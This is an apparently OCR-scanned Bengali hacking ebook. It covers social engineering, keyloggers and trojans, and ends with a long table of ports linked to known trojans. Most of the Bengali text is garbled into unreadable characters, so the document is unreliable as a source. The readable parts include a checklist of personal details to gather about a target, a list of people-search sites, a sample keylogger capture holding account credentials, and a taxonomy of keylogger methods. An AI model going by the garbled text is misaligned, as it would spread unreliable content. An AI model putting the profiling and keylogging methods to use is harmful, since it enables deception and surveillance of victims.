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e T & -S> . Social Engineering & Manipulation

aEfe 3% AFHI T JANS BT SRE AP I 26 A6 O 9T AR T | AE TR ABIE @F SFFEd 1 FoE | s
JEF FAER ABH AAE 28 AMEFHET GHIF NF1SH / 2-GRT RIGT TF FIF WGFE NG| FIRG SN A2 A1 SEN FFAN | o7

TF FIT IR AE TF M IE@ 9 | 97 IO A@F @S SAFad q1 FIeme 97 7| 6@ Social Engineering ax Human
Manipulation == T 9@ 5% @A FIH AREF THT PX | FTAT A5 P @A SeCUrity ¥ =17 Fate MA@ a1 AR O

A1 A T @7 o R w1 | e fr @@ social engineering ¢ human m il#l#ﬂ”#mm Pl
Ll

NSRS 5 & 6 g

Social Engineering :

BT T ATF AF6] - eI TR Twe T MO 9FSH A IFMEF TART N FYT @ F© N AT FH HFEI QOIS A7 TG

BIH eI 3 IAEOT Md THT ©® JFYl 3 O o @ & @A |

@ Sf e oe AT 4 AT @ Ffeste o M2 a1 | arify ey sae ¢ @1 | 5w Sy aprE T IRoE 9 a9 6T T
of fos e g ftest a1 FaErs | social engineering 8% &% ST @ FAIF X 95061 T&fS |

Human Manipulation :

@ TARNE @M TRl @ IF F AFEF TR AT AR FOF TJIIE 8 OFEm & fiFEw FA W oF e Human
Manipulation 7w |

@F M e e b O @ AN @ 9T ©@ NF F& AP @rese STE @F FF fae \Es @ sy @&w afF | atr Human
Manipulation .

social engineering ¢ human manipulation Fawe =@ JrF@E TAEE FEIE AGT TIASAT S| A A T AFE e ffw |
@ TRG A% @ Security questionnaires a asE ©oF @F: XY FA T AF ! AT @ @R T@EAE o e F %

siFullname/ssfar.
INickName/s=am:
w|Father’sname/freremT;
g1Mother’sname/swa=em;
¢1DateofBirth/smrefz:
s1PlaceofBirth/serm:
aIPrimarye-mail/zmfiwz-c3
w1Secondarye-mails/a=z-@3:
»1IPaddress:

so1Country/e.
ssiDivision/fremr:
sxiDistrict/@er:
se|PhoneNumber:
s81Cell/MobilePhoneNumber:
se1BestFriends:

su|Pet name :

OB’ O AT | AF8 I@F B ¥ GRS TG A | G 3 FTOW Fe 4 76 4 @l FF fowe e |

A% FRENT A DR T AR 9% FHANT 9T @ NN @R | IO ST IO TES @ FA TF I 5 OF TG @G 9
TE e ATl QF IAM TT @F IHFA ¢ BT THOT I I AW Lo T I @@ social engineering s human

manipulation sam= = aPEE WE @ 4T 2 wfeN reflex action 8 s B w31 IME WNe1 | ORER IEH T WH TR T

M AfEws A A
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S FEr o @F FAT . EAE FE AR @ FAR ¥ 9 oo 8 AfAfte 8 gefiw AfFET 8 qfFHE @ FA e 8 vl A

BEEIGE | A IF e 93 Rfe O BME 5 SIWE T — ST SN @ fo @t | e 51 homework ax se 1 a7 w33
F T FARE I AE FE@ AT ITF AR I OF I o AT IhF 0@ v | I3TR AMeMFT v - ITew @ foasd o

@ BN o | ] o 3@ afers e SPRTEE , S T 8 T N ¥ MT FAE | AF AR A A@F O FNEF T INEA
IR T IS @ TS TR

2 HETT AARET FForFAr AfAF B AT, ST A¥FT IJGFT FEAF 2 (ofd @ Ao AfAHem | foar F@ @@ iy InI [T FE
L
IO IACH | TR — A, TR @ TR T @ A @@ WH A T AN

©/NT @ GIR I5T IFLT ©IF GFT A FFA AN @IIF 9 AF6] (I A T qQ IHT MO I3 IAAH Bed ©1F 3 A |

2 (T BT 2W© (0 @IS 6F I A FH© | St 7 9% | 5o @@ ond arfa e TEEe o 5ol | SR F18 W&
ST @ AFC] FAN I G .. ... . TS ©] BFR NS FACT THEH N ..l s s S TS A1 (e e S s W % S
A

9 H SRR S Y SE MSE A1 S A W A W 8% (@R 9

81 ARG JF FI I T T 7 TFN JAE FAEA a1 | vy 8 A3 g v 0% g7 1 a9k a@eE 13 araE reflex

action a7 | &7 FIAT AFe AMT I3 A AT AT ITH @ OF MY @A AT TME AT FEF @ 71 g 2 AR

¢! AT 766 T FFT | FE Fger eroRel FAEE a1 | ae a7 fie e 1@ | 6% A AE v efe sRema Fae | oam
AT FA T O AT @ FAG G FHA

a o fod AU T Q@ °% Wax FAR [FY TR | ARTI8 IW Tafe @ 8 AL AG@F I IAEF STINH QF 3 AT e AT
f3 i
W O @@ MET | ATF I FEFGT STSNIG 97 Fr6 oy fos foftr =

http://www.411.com/
http://www.ask.com/
http://www.bebo.com/
http://www.facebook.com/
http://www.flickr.com/
http://www.ip-adress.com/ipaddresstolocation/
http://www.myspace.com/
http://www.myyearbook.com/
http://www.searchenginez.com/findpeople.html
http://www.skipease.com/
http://www.sonico.com/
http://www.spock.com/
http://www.twitter.com/

www.purepdfbook.com

http://www.usatrace.com/

TR P e T%1 T 59 AT Fho TR T qF



http://www.BanglaEbookDownload.Com
http://www.411.com/
http://www.ask.com/
http://www.bebo.com/
http://www.facebook.com/
http://www.flickr.com/
http://www.ip-adress.com/ipaddresstolocation/
http://www.myspace.com/
http://www.myyearbook.com/
http://www.searchenginez.com/findpeople.html
http://www.skipease.com/
http://www.sonico.com/
http://www.spock.com/
http://www.twitter.com/
http://www.usatrace.com/

% axe 3[F www.BanglaEbookDownload.Com

http://www.whitepages.com
http://www.whois.com/

http://www.whois.net/

http://www.wink.com/

http://www.youtube.com
http://www.zabasearch.com/
http://www.zoominfo.com

AR IPAR INE AT @6 &S http://www.google.com:

as[E % @rme Wi e Social Engineering 8 Human manipulation az = |

www.purepdfbook.com



http://www.BanglaEbookDownload.Com
http://www.whitepages.com
http://www.whois.com/
http://www.whois.net/
http://www.wink.com/
http://www.youtube.com
http://www.zabasearch.com/
http://www.zoominfo.com
http://www.google.com:

% axe 3|gF www.BanglaEbookDownload.Com

[T JF: 97 2 IR F 7 B [Fem I FE 7

ST @ R PR Fhr a7 T[S T YA | 9 @R M FE whw Ay 1 Fafr Fera FEe W 6 TNE BT O qwE

S BT B8d am | 9Fp FT I@ Wb e (@ @S | e FEbr FAF om0 AR 4 T[ME Pered S 1FT 6 & SFEH a1 ?
At TF: IET aFAE AT W F oA )

ST a@mwwmﬁizﬁaﬁ:ﬁv?ﬂmﬁw@mw?ﬂawm.WTm?mif‘?iﬂl
wail &

I A, . g

oo,

TCR GF R Feer & ?

Keyloggin ar Keystroke Logging = 9361 T68IE SIN&T AF51 SH68WE 6 6 Jfba @61 361 FHoow 97 afs & F @6
AT CEF AoeT / HEHT FE @FE FE 33 FPUGHF AT 36o1F AT T@Ne | FABR TESTRTE AT NHLIWETO @RI AR FAT

™ | AF6T WBeRIT 4 FINT @ GO 9T [HEF FvE Fae FE |

sdyve T a4 weEd Perry Kivolowitz f3&a sdes Fasma fSoRa @ | xoso AEE TS AqAA A R @ Fhr FE@ a5
TEEES kAT €59, oo ( @pprox. ) |

F APk a7 @ AR @G FA H I o wEre C\ sRwa w61 TXT w39 RoiE oo = | wiyfe S e 93 W9

3CRT A7 M 2O G8A @@ MA | IAVTF oY FonF s Feenag o @@ pife a1 [FF @@y 61 Ir@E @6 97 57 FF 2

@FE FAE (G TNT AR 981 ACAE  MHSIE AR I G ©F 3 @FE FAT @6 NI SN Iy W02 30+ F7 @7 g

I sam FfEe a1 TaEae J I93E FE FRF FI6 AT (o0 F6 97 vy fORT TRet aF 8 o SR 97 fa ama o1 sker 391
TF | ARCIS AF ITSNAT FIS IR FAT 2T | FNET TGS 2% , FIAT MFSIG , AT AN X FABR FAT 3 | GFIE 200¢ @F

bR @ FSEST IEN T AAgE I W ARHOF AMTS 4 | AT N NS $oo,000 TRT T\ © INET FAW FREMS @OTH
i e |

1T IR FE o TRAT TN FA TW® OF W T @@ {3 SUMitomo Mitsui a7 561 51 | amR A5d SN @ 200
TETE FE i@ A fEREE a1 @% 9361 se @ a7 FeE G sxve R @l ST 5y 7EE 6% @ | A@AE (W A6T aF6!
@E gEF FEE 8% Feng a7 oA Yeron Bolondi gferr a7 Fvw v @@ 3@ !

ATTI T TG TS TRF TRFIN6 @ 8 FPR FE A@F 51F AMo@ @3TF ¥ ofF Surzaa an= |

AMCR FfesTe ArRE @E IR 37 2 I AF61 P | OR AR TIERR I W FE AEEE @ IR Q@ DT TR |
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aBT AFHT TGS fordT FAF |

I LOG.TXT - Notepad @@@

File Edit Format WYiew Help

chat.yahoo.com [Ent]

mike8a [Tab] mike [Ent]

b1 dawvid [Ent]

let's skip school tomorrow, he? [Ent]

Mobody should find out! [Ent]

what do u mean? [Ent]

of course! [Ent]

check out this Tink: [Ent]

www, Torbiddenstuff. comsthreadl2osl. html [Ent]
send it to wou bg email [Ent]

[ct1Iw [ATt] [Tab] [Ent]

mail.wahoo.com [Ent]

mikeS8a@yahoo. com [Tab] mike [Ent]
david_ros@gmail.com [Tab] fun stuff [Ent]
here's the Tink, make sure nohody sees it [Ent]
[ct1]v [Ent] [alt] [Tah]

aBT aFeI a9 fFent

23F IO G R T Ferd IS I

THEE forsa Fesn

Hypervisor-based : a3 ==fs @ Fsma as6r Malware Hypervisor ffoi@ semafe: Siees 99 @ed 9fF@ Fbr @ | SRad .
Blue Pill
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APl-based: Application programming interface ar skwer APl faga Stasma sem @ 31 fSoRT 741 79 @@ 1S | 9FT FIEE

A7 RS ZoME e a7 1w AfRfte = | STET a7 WEeR aF 9 A ¥ | e 37 we oY FAE [ 40+ WPM ] a3 s &
BT 3@ |

Kernel-based: aqenzm= g7=a FoF | @F Ro@ aqr sem@s F@ | ageen @merge FUD / Fully Un-Detectable | asem @ @
@ FT @ AN @ WG FAT 3 IRA | FEE 97 TEOWE YRIF RO NCHT 97 MY g 7@ FTT RIT FF |

Form grabbing based: s@@ a6si@ 4 3@ 3361 % 3% Fa1 = o3 o HTTPS /HTTP si@sr <83 amerz asen @& a1 3|
@ 4 HFAEE FITE|

Packet analyzers: HTTP POST sx#® @@ SBT @ @57 F@ ST A |

TS oy Fresng

Firmware-based : BIOS aw $i@é a7 Firmware i@ 3@ $@ 991 FI@G 97 57 305 a5 3@
Keyboard hardware : #fy 8 FE6 97 @@ RN @ ®JF @ [ T@T o7 7o | QG 97 @@ @ JE 457 F@ AT |

Wireless keyboard sniffers : wireless #i@ré @@ 93 faffo@ 4 A0 @@ THT @5 F@ 947 |

Keyboard overlays : at1 siaers @ 33 ATM @ff@ ofits | TFE a1 43 e 95 @6 aFdd (@ a3 ATM @fe ag $i-
MG 97 TF a3 o @@ PIN amma ser 3@ |

Acoustic keyloggers : s>y e SR CIA avm@a Fasng a7 | FES 97 s &7 F a7 &% 9561 fo7 smam Acoustic
Notation @3 | 77 @@ o JEF AS3 1 @ MF O {FoFd F@ A 1 @F F47 =F |

Electromagnetic emissions : xoo» ST BT @Al 4 4&@a FIepNa ANFEE FE | 20 BoF T Lo Fb 7 @@ b7 F10 FEF |

FrerE_ a7 Sy e rEs By am e faw

Clipboard logging : Clipboard a 3f zar @@ &y @ Far

Screen logging : Screenshots az swper Ftast war

s 2 B ?
SIFTP se® a7 sy
RS @ 0RT RS @ BT FE
©| SARCEH FIHBRE 97 AT
8IfAeNG W@ 97 AHTH |
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S| @ 2CRRE A7 MY AB6 I @F B1RE 30 FE@

31 P2P @Gow ag wener

© IS AP SO F1 561 S@T (B 0 JAFo TS T FCT o Fa1 7T O
8191y (Pl HAMHNT A9 HINCT
¢l XTANT @ YA RATEEH 97 T

v e / i e

0 s 1 ! e o B B | O

S| BIET IO a7 AT

| foeE = 9EBT @A FEA | AFOI 60 ST AT @ 97 fFC O S BT 5% AEed A7 | YO @F I @9 @ B S AfEte
AR @1 I @ TIWE FEF 7 | A @@ o EE A AFe | @& 9 FE W MY g [ FE e

ot Ter o facty
Hl quick Heal A... Quick Heal Tec...

"C:\Program Fil... HKLM\SOFTWAREM...

¥ boodie Update . -
¥wid Unknown C:\Program Fil...  HKCU\SOFTWARE),..
Adobe Acrobat Adobe System...  "C:'Program Fil... HKLM\SOFTWARE)...
GrooveMonit... Microsoft Corp... "C:\Program Fil... HKLM\SOFTWARE)...
AcroTray - A... Adobe System... "C:\Program Fil... HKLM\SOFTWARE}\,...
ClickPotato ... Pinball Corpora... "C:\Program Fil... HKLM\SOFTWARE\...
Data Manager Bandoo Media,... C:\PROGRA~2... HKLM\SOFTWARE\...
Adobe Acro...  Unknown C:\Windows\In... C:\ProgramData'Mic...
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File Options View Help
Applications | Processes | Services | Performance | Networking | Users |
~
0K  Acrofray i
e EXE - I U e
chrome.exe 32 Admin a0 72,394k GoogeC...
chrome.exe ®32  Admin 1] 35,360k GoogleC...
chrome.exe *32  Admin on 13,252K Google Ci..
chrome.exe =32 Admin oo 74,932K Google C.., =
ClickPotatolit...  Admin 0o 3,308K ClidPotat... |
ceres,exe ] 5, 112K
datamngril.e,., Admin 8]s] 328K Datz Man..,
i, exe Admin oo 11,868 K Desktop ..,
explorer,exe Admin an 7,364k Windows ...
ONLIMENT.EXE  Admin (i]a] 1,256 K Online Pr...
guestscan.exa juls] 448 K i
SCANMSG.EXE Admin oo 1,060K  Scanmes...
taskhost.exe Admin on 780K HostProci.. =
[ 'ﬁJShnw processes fromall users End Process
Prtr'c'sss:_ 47 CPU Usage: 0% Physical Memory: 51%

FeE aivEa Faag & ?

S| SIE SRFeeRAN — A7 @ (e @3
2l Anti-spyware — a81 8 IMEERAN 97 Fox I FE

w | Network monitors — 729 @& e o1F &A@ Q@ 3BEEE 9 FEe e OF o3 36o7d @ Yoaa a@ Network monitors

g1 Automatic form filler programs — at1 S@Ew6r IS 97 IGEEHF o= remember my password a3 se3
a1 One-time passwords (OTP) — ss¥a@s Tr68TE 1 @ It FF WoR  Is a7 ofF @3 [Jffg 5 a

u1 On-screen keyboards : T a7 T@ FEW AT 957 | I8 6 95 FNF 2 @F 9 @F BF I CTF @S AT FH© AR Al

:'IC_I":'

a1 Keystroke interference software — 1% s=@a Sw6eIE =t F @1 @ €NCrypt @ Fong e & 537 GF | 37 X I3 &

aree 2 R g A Kifie awesar |
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[T TF: 97 . GO F ? @9 ? Fog ?

TR IPE @ GR EoW F 7

EEE T SRS T

HUNEL0 ESO0N D0,

r-‘-'—.

A Trojan horse, or Trojan, is a standalone malicious program that does not-attemp tersin
a completely automatic manner without help from outside forces like other programs and human intervention.

R 7 e @ 59 SfeFae ENee IRET @1 TR ST @I T G AT T[FT TV W] TR FT SN o FEASeE 1 STeT
@ IAFE FAE GB FE A O F @ GO I EEE B (A |

2§ AT @ 9% g 8 frgsrsy [ trusted | e a7 @oF IRFE N TAEiEme 8 HfeFEE G GO | @@ 5T SRS

TR 97 SfSfify | TN |, FHTGRS , Y TAF52 I8OF 97 Gt A @@ IW | FA oNeT q@ A FeEfe: Sobw a7 registry
@YE A AT NI @A R ANFNEF© T N 97 IR S T |

Eoe a7 FHEE

e fry @l fe 71 o0 & ARA @ FOL FPF (o @OF ©OF 8E (3 @OHEGE ¥ INGE O @ TF 5 7 T 8%
G ST (@8] @@ @F ¥ FF a9 9w GFF AT (P0d A MmN FE F T FE @F | TN @QF2 YT AYTEI @ @ Go "1

@3 ¥ | AF TRF F oEEE Mr. James 8 I MF 97 T J3W IO HeF I !

G a7 SEFST 7 fSoRTE 97 T A GO FH© ME AT T @ e @2 1 oagy w19 67, %, o756 , adware
malware , spyware e 256 FAT , TFoEEs SNES , G e W93 FEE M |

GoTe a7 ¥F9 |

® Remote Access Trojans: asge fesfos a7 fiiebs a7 arfF a1 @ =@ @ e @ | aF6 e N a7

T fSFon a7 BT W 77 47@F ApaT AW TR A7 Bt e | Bebw o6 FAR Iy s a61 97 F1s ey [ 3w a7
ey ]| a7 sy a36r AR onb a7 WM W SRETST A F@ | AT T FNIG BN @ I 2 FAT IF SHON a7 ey 4 1 @7
TIST @O A YA

® Data Sending Trojans: a3%1 3RT 31 IF©F 7 N0 [&FHA 97 HeeT 1@ F — a5, IS , FF FF6 Heey 1 Fo
FE |

® Destructive Trojans : g1 ItaT 4 89@F GO I9F FT T @ | (97) SmTwE ST - SCow =7, It fieey @

FA% FA A SAYT FIAOH FRA O FA | (R ) BfFEE Sren - ar@m i am geE 97 @oF T A IS AN TR AR
fC6T 97 TIAESAT 1 SMFCORAN | FeE B @ fa@a e 99 e JfaE e TEE J 4 76T GO J@E | 51 9N ORF @
FA W @A AP FCEH 9 90T TS NS APEIEE SMET FRAE ST 7 aMfTeRI 99 87 ased Sigpfafe @ awfe ar q2ofs

FETIET T | W APEE IR TR ATe 8 BRI A e g 5 @ @

® DDos Attack Trojans: az6r T8 a7 S k@ 59 7 Feeq [ T @ox | 31 feta @ 4 (@@ s 13 @9 @l 8 @R
, 887 8 @2 , AfeR¥ 8 @R | AF SR | a1 A MR 97 8 97 ¥ NJE NIEEN KT N @ AFHTT FE ANFS AT NG

FE GE IR AN @ HTIR FE AN | AT W WIS FE AN BCET 4 9 B T @ TER 9 3 s Hehy we e
W@E | 6T 97 FREA FHOE TG TAFE FAS 7 KA 5 @ ©¥F 4 AGF 3 IFNF RIe NI FCoH a3My T A 93
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® Proxy Trojans : s=& @ Af{6T GF FA12 6@ S0 M Fg7 APAE SO @& N Awwa 389 | oF & araE By a7
AT AE (e [T | ST A TS T6 @QF TRER O (0 AF | 7 @ o @ o foaod ofey 8 fate 3@ | a3 =ifawy
T BT FREF FA TR A6 ARGALH , AR BT, WF 7 9 T@ge | [y 95T TFES N2 ANET GO FERE FAT 2T | BT T A 4
AF0] @Te HCHN J[RIF FE IFEE {6 fate MFT aR (@ Al [ FF FA3 @e Neow 7 Af{67 M@ |, spng oy !

® Security Software Disabler Trojan : a8 R o7 | fT67 @ AIwvd F@ aTF I 0= Heos 97 G5 a1 a5 57
PR SHfEETa a3 TR N & TTONET FF T/T6! AFAAT def A AT (o F@ @8 | AF & @F Fo 3 I@ NF
|

fFere RET arife aFr Far [ safssas |

ERE 97 TIAE I TGP THio A= 951 @ @ AFF ©F @-3TF  IMCGE 7 A 9361 fAftg b 97 Ael &R ¢rs 3T

[HE AT BIEo 3 TON BT F@ | IEIST SNFCORAN AN N6 ™R SAE a6 T I 5[ ATHET YT TR A SeNe
AR AP GO AF@ Far | T4 SR 1 AMAA T Fh[® 8 Fa© TAET | ©F AE =T 8 AT Fa© AFET IS MF@ Far |

@ FfETE OF AM F99 AFERT A ez Eoe b 3™ @@ F99 68 F59 | 377 a@s sy 2 G gen FUD / Fully Un-

Detectable zx | SR 43 7w InfeRa ¢ 97 Yy s {2 IMe 1w 1 | fow ey @F FeET v Twfe
AATE @ AN I

s) 72k RUN @@ 75 o= a1 CMD svm 397 fawa s w© @

e Type the mame of a program, folder, document, or Internet

d resource, and Windows will open it for wou.
DOpen: <] =
G [ Ok ] [ Cancel ] [ Browse... J
m TS cmd FCR0 @ GIF B2

) FNS PG 8UF @ Netstat -a fny a%w fe 19 3@ areerE o a7 S5 SIEET O IS , EFF |, BES MOT 8 a7

I EFe aF6] o afa Fa@ CMD |
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& C\Windowshsystem32\cmd.exe - nets
Copyright <c> 2BHT? Microsoft

orporation. All rights reserved.
C:“Users“Pirate Lord>netsat

'netsat’ is not recognized as an internal or external command.
operable program or bhatch file.

C:sUzeprssPirate Lordlnetstat
Active Connections
Local Address
127.8.8.1:50693

127.8.8.1:5686%4
127.8.8.1:52465

Foreign Address

Black Pearl:58694
Black_FPearl:586%3
Black Pearl:=52466

Black_Pearl:54341
cs216p2 5058
magentazhttp
sipli1?-p3 568508
72.21.91 .19 :http

nx—in—f113:http
a?6—17-181-51:http

.a. :54342

.168.52.174:52467

-168.52.174:52522
192.168.52.174:54343
192 .168.52.174:546308
192.168.52.174:54631
192.168.52.174:55816
192.168.52.174:55079

©) 9Ff IO FFF 193F netstat -a ey TS fF 9w 9T B 997 IR e a7 SEn onb & awfa A CMD - faws s
Mo FE

5 oty = 55
Microsoft Windows [Uersion 6.1.76811
Copyright ¢c) 28B? Microsoft Corporation. HAll rights reserved.
C:sUsers Pirate Lordinetstat -a

Active Connections

State
LISTENING
LISTENING
LISTENING
LISTENING
LISTENING
LISTENING
LISTENING
LISTENING
ESTABLISHED
ESTABLISHED
ESTABLISHED
ESTABLISHED
ESTABLISHED
ESTABLISHED
ESTABLISHED
ESTABLISHED
ESTABLISHED
ESTABLISHED
ESTABLISHED
ESTABLISHED
LISTENING
GLOSE_MAIT
ESTABLISHED
ESTABLISHED
ESTABLISHED
ESTABLISHED

Foreign Address
Black_Pearl:@
Black_Pearl:@
Black_Pearl:@
Black_Pear
Black_Pear
Black_Pearl:@
Black_Pearl:@
Black_Pearl:@
Black_Pearl:586%94
Black_Pearl:58693
Black_Pearl:52466
Black_Pearl:52465
Black_Pearl:52475
Black_Pearl:52474
Black Pearl:53764
Black_Pearl:53763
Black_Pearl:53769
Black _Pearl:53768
Black _Pearl:53767
Black _Pearl:53766
Black_Pearl:@
sinBls@5%—in—f21l:https
magenta:http
cs216pZ 58508
sipl17:5858
magenta:http
magenta:zhttp ESTABLISHED
chanproxy—13-Bl-snc?:https ESTABLISHED
relay ttps ESTABLISHED
relayl:https ESTABLISHED
Meramex46xB6:icslap TIME_YAIT
Admin—PC:icslap TIME_UWAIT
sin@1s84 —fib:https TIME_MAIT

192.168.52.174:139

192.168.52.174:51132
192.168.52.174:521A3
192.168.52.174:52467
192.168.52.174:52476
192.168.52.174:524%4
192.168.52.174:52522
192.168.52.174:53593
192.168.52.174:53770
192.168.52.174:53771
192.168.52.174:53814
192.168.52.174:53815
122.168.52.174:53812

192.168.52.174:5382A
192.168.52.174:53821
192.168.52.174:53823
192.168.52.174:53824
192.168.52.174:53825
192.168.52.174:53826
192.168.52.174:53828
192 .168.52.174:53829
192.168.52.174:53830
192.168.52.174:53831
192.168.52.174:53832
122.168.52.174:53833
192.168.52.174:53834
192.168.52.174:53832
192.168.52.174:5384R
192.168.52.174:53842

sinBAls@5—in—f18:https
sinBls@5—in—f18:https
sinBls@5—in—f18:http
tm:http
sitecheck2:http

gsinBls@4-in—f15:https
sinBls@4—-in—f15:https
8.19 .18 191 :http

TIME_MAIT

TIME_MAIT

ESTABLISHED
ESTABLISHED
TIME_UAIT

ESTABLISHED
ESTABLISHED
ESTABLISHED
ESTABLISHED
ESTABLISHED
ESTABLISHED
ESTABLISHED
ESTABLISHED
ESTABLISHED
ESTABLISHED
ESTABLISHED

8) Local Address a3 faw z® o afF @¥© MEIE OF HIENR CTF

et |

a3 foFd T @ A FE BR[| 82 FEFH AT @I

foaa foe 7 S 9F61 forh @8W AR | @ SHfHfoe 79 GO T @A @ (M6 TIE FE ©FF Jof O] FA TA®R | A
@@ arEmE CMD @@ a1 7t a3 sy fif ayd | 3 qea @ onb B o e faed ffer 5o 3@ aRE FS 5% 4
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€19

1 (UDP)

20

21

22

23

25

30
31
41
48
50
58
59

79

80

81
99
110
113
119

121

@ 99 A

Sockets des Troie

Death

Senna Spy FTP server

Back Construction, Blade Runner, Cattivik FTP Server, CC Invader, Dark FTP, Doly Trojan, Fore,
Invisible FTP, Juggernaut 42, Larva, Motlv FTP, Net Administrator, Ramen, Senna Spy FTP server, The
Flu, Traitor 21, WebEx, WinCrash

Shaft

Fire HacKer, Tiny Telnet Server — TTS, Truva Atl

Ajan, Antigen, Barok, Email Password Sender — EPS, EPS Il, Gip, Gris, Happy99, Hpteam mail, Hybris, |
love you, Kuang2, Magic Horse, MBT (Mail Bombing Trojan), Moscow Email trojan, Naebi, NewApt
worm, ProMail trojan, Shtirlitz, Stealth, Tapiras, Terminator, WinPC, WinSpy

Agent 40421

Agent 31, Hackers Paradise, Masters Paradise

Deep Throat, Foreplay

DRAT

DRAT

DMSetup

DMSetup

CDK, Firehotcker

711 trojan (Seven Eleven), AckCmd, Back End, Back Orifice 2000 Plug-Ins, Cafeini, CGI Backdoor,
Executor, God Message, God Message Creator, Hooker, 11ISworm, MTX, NCX, Reverse WWW Tunnel
Backdoor, RingZero, Seeker, WAN Remote, Web Server CT, WebDownloader

RemoConChubo

Hidden Port, NCX

ProMail trojan

Invisible lIdentd Deamon, Kazimas

Happy99

Attack Bot, God Message, JammerKillah VWAL P U repd fbook.com
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123
133
137
137 (UDP)
138
139
142
146
146 (UDP)
170
334
411
420
451
455
456
513
555
605
666

667

669

692

77

808

Net Controller
Farnaz

Chode

Msinit

Chode

Chode, God Message worm, Msinit, Netlog, Network, Qaz
NetTaxi

Infector

Infector

A-trojan

Backage

Backage

Breach, Incognito
TCP Wrappers trojan
Fatal Connections
Hackers Paradise
Hackers Paradise
RPC Backdoor
Net666, Rasmin

711 trojan (Seven Eleven), Ini-Killer, Net Administrator, Phase Zero, Phase-0, Stealth Spy
Secret Service

Attack FTP, Back Construction, BLA trojan, Cain & Abel, NokNok, Satans Back Door — SBD, ServU,
Shadow Phyre, th3rlpp3rz (= Therippers)

SniperNet
DP trojan

e www.purepdfbook.com
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911
999
1000
1001
1010
1011
1012
1015
1016
1020
1024
1025
1025 (UDP)
1035
1042
1045
1049
1050
1053
1054
1080
1081
1082
1083

1090

AimSpy, Undetected

WinHole

Dark Shadow

Deep Throat, Foreplay, WinSatan
Der Spéher / Der Spaeher, Direct Connection
Der Spéher / Der Spaeher, Le Guardien, Silencer, WebEx
Doly Trojan

Doly Trojan

Doly Trojan

Doly Trojan

Doly Trojan

Vampire

Jade, Latinus, NetSpy

Remote Storm

Remote Storm

Multidropper

BLA trojan

Rasmin

/sbin/initd

MiniCommand

The Thief

AckCmd

WinHole

WinHole

WinHole
www.purepdfbook.com
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1095
1097
1098
1099
1150
1151
1170
1200 (UDP)
1201 (UDP)
1207
1208
1212
1234
1243
1245
1255
1256
1269
1272
1313
1338
1349
1394
1441

1492

WinHole

Xtreme

Remote Administration Tool — RAT

Remote Administration Tool — RAT

Remote Administration Tool — RAT

Blood Fest Evolution, Remote Administration Tool — RAT
Orion

Orion

Psyber Stream Server — PSS, Streaming Audio Server, Voice
NoBackO

NoBackO

SoftWAR

Infector

Kaos

SubSeven Java client, Ultors Trojan

BackDoor-G, SubSeven, SubSeven Apocalypse, Tiles
VooDoo Dall

Scarab

Project nEXT

Matrix

The Matrix

The Matrix

Millenium Worm

Bo dll

GoFriller, Backdoor G-1 WWWw.pu repdfbook,com
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1524
1568
1600
1703
1777
1807
1966
1967
1969
1981
1999
2000

2001

2023

2080
2115
2130(UDP)
2140
2140(UDP)
2155
2255
2283
2300
2311

2330

Remote Storm

FTP99CMP

Trinoo

Remote Hack

Direct Connection, Shivka-Burka
Exploiter

Scarab

SpySender

Fake FTP

WM FTP Server

OpC BO

tBowl,Shockrave

Back Door, SubSeven, TransScout

Der Spéher / Der Spaeher, Insane Network, Last 2000, Remote Explorer 2000, Senna Spy Trojan
Generator

Der Spéher / Der Spaeher, Trojan Cow
Ripper Pro

WinHole

Bugs

Mini Backlash

The Invasor

Deep Throat,Foreplay

[llusion Mailer

Nirvana

Hvl RAT

o www.purepdfbook.com
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2331
2332
2333
2334
2335
2336
2337
2338
2339
2339(UDP)
2345
2565
2583
2600
2716
2773
2774
2801
2989(UDP)
3000
3024
3031
3128
3129

3150

Studio 54

Contact

Contact

Contact

Contact

Contact

Contact

Contact

Contact, Voice Spy
Contact

Contact, Voice Spy
Voice Spy

Doly Trojan
Striker trojan
WinCrash

Digital RootBeer
The Prayer
SubSeven, SubSeven 2.1 Gold
SubSeven, SubSeven 2.1 Gold
Phineas Phucker
Phineas Phucker
Remote Shut
WinCrash
Microspy

www.purepdfbook.com
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3150(UDP) Masters Paradise

3456

3459

3700

3777

3791

3801

4000

4092

4242

4321

4444

4567

4590

4950

5000

5001

5002

5010

5011

5025

5031

5032

5321

5333

The Invasor

Deep Throat,Foreplay,Mini Backlash
Terror trojan

Eclipse 2000,Sanctuary

Portal of Doom

PsychWard

Total Solar Eclypse

Total Solar Eclypse

SkyDance

WinCrash

Virtual Hacking Machine -VHM
BoBo

Prosiak, Swift Remote

File Nail

ICQ Trojan

ICQ Trogen (Lm)

Back Door Setup, Blazer5, Bubbel, ICKiller, Rald, Sockets des Troie
Back Door Setup, Sockets des Troie
¢d00r, Shaft

Solo

One of the Last Trojans — OOTLT, One of the Last Trojans — OOTLT, modified
WM Remote KeyLogger

Net Metropolitan

Net Metropolitan www.purepdfbook.com
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5343
5400
5401
5402
5512
5534
5550
5555
5556
5557
5569
5637
5638
5742
5760
5880
5882
5882
5882 (UDP)
5888
5889
5889
6000
6000

6000

Firehotcker

Backage, NetDemon

wCrat — WC Remote Administration Tool
Back Construction, Blade Runner
Back Construction, Blade Runner
Back Construction, Blade Runner
[llusion Mailer

Xtep

ServeMe

BO Facil

BO Facil

Robo — Hack

PC Crasher

PC Crasher

WinCrash

Portmap Remote Root Linux Exploit
Y3K RAT

Y3K RAT

Y3K RAT

Y3K RAT

Y3K RAT

Y3K RAT

The Thing

Bad Blood

www.purepdfbook.com
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6000
6661
6666
6667
6669
6670
6711
6710
6713
6723
6771
6776
6838 (UDP)
6883
6912
6939
6969
6970
7000
7001
7215
7300
7301
7306

7307

The Thing

TEMan, Weia-Meia

Dark Connection Inside, NetBus worm

Dark FTP, ScheduleAgent, SubSeven, Subseven 2.1.4 DefCon 8, Trinity, WinSatan
Host Control, Vampire

BackWeb Server, Deep Throat, Foreplay, WinNuke eXtreame
BackDoor-G, SubSeven, VP Killer

Funny trojan, SubSeven

SubSeven

Mstream

Deep Throat, Foreplay

2000 Cracks, BackDoor-G, SubSeven, VP Killer

Mstream

Delta Source DarkStar (??)

Shit Heep

Indoctrination

GateCrasher, IRC 3, Net Controller, Priority

GateCrasher

Exploit Translation Server, Kazimas, Remote Grab, SubSeven, SubSeven 2.1 Gold
Freak88, Freak2k

SubSeven, SubSeven 2.1 Gold

NetMonitor

NetMonitor

NetMonitor
NetMonitor www.purepdfbook.com
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7308
7424
7424 (UDP)
7597
7626
7777
7789
7891
7983
8080
8787
8988
8989
9000
9325 (UDP)
9400
9872
9873
9874
9875
9876
9878
9989
9999

10000

NetMonitor

Host Control

Host Control

Qaz

Glacier

God Message, Tini
